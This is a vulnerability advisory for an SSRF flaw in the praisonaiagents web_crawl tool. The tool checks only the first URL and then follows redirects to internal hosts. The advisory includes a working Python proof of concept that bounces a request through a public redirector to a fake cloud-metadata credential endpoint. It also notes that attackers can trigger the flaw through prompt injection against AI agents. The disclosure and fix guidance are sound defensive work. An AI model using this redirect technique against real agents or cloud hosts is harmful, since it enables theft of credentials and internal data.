CVE-2026-55525: praisonaiagents web_crawl SSRF via Redirect Bypass
The web_crawl tool in praisonaiagents checks only the first URL for private addresses, then blindly follows HTTP redirects, letting attackers reach internal services and cloud metadata endpoints the…

The problem
The web_crawl function in praisonaiagents validates the initial URL's resolved IP against a private/loopback/link-local blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets. This is a validate-here, fetch-there gap.
Any attacker who can influence a crawl target (via a crafted task or prompt injection inside a page the agent already fetches) can supply a public URL that 302-redirects to 169.254.169.254, 127.0.0.1, or any RFC-1918 host. The redirected response body, including IAM credentials on cloud hosts, flows back into the agent context and is visible to the model, logs, and downstream tools.
This is an incomplete fix for the earlier SSRF class (CVE-2026-40160 / GHSA-qq9r-63f6-v542). The guard added by that fix is still active and still bypassed by the redirect path.
Proof of concept
A working proof-of-concept for CVE-2026-55525 in praisonaiagents, with the exact payload below.
"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl
SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
def log_message(self, *a): pass
# Spin up a local listener on a random port
s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"
# Control: direct loopback is correctly blocked
control = web_crawl(internal)
leaked = lambda r: SECRET in json.dumps(r)
# Exploit: public host -> 302 -> loopback bypasses the check
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
{"url": internal, "status_code": "302"})
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")The root cause is a classic TOCTOU gap in SSRF protection. The guard calls socket.gethostbyname(hostname) once on the initial URL and checks the result against ip.is_loopback, ip.is_private, etc. But httpx.Client(follow_redirects=True) then issues a new TCP connection to the redirect target, which is a completely different host that was never validated.
The fix in 1.6.58 (commit 2f9677a) closes this by disabling automatic redirect following and instead intercepting each redirect response manually, re-running the same IP blocklist check against the Location header host before allowing the next hop. Without that per-hop revalidation, any redirect acts as a free pass to internal space.
The fix
Upgrade praisonaiagents to version 1.6.58 or later (pip install --upgrade praisonaiagents). The patch (commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1) disables follow_redirects=True on the httpx client and adds per-hop SSRF revalidation of every Location target before following.
If an immediate upgrade is not possible, set the environment variable ALLOW_LOCAL_CRAWL=false (already the default) and block egress to RFC-1918, loopback, and link-local ranges at the network layer.
Related research
- high · 8.5CVE-2026-55526CVE-2026-55526: praisonaiagents SSRF Protection Bypass via Wildcard DNS Hostname
- high · 7.5CVE-2026-55524CVE-2026-55524: praisonaiagents SSRF via Redirect and DNS Rebinding in web_crawl
- highCVE-2026-55523CVE-2026-55523: praisonaiagents web_crawl SSRF via Unvalidated Redirect Target
- high · 8.2CVE-2026-55528CVE-2026-55528: praisonaiagents AgentServer Missing Authentication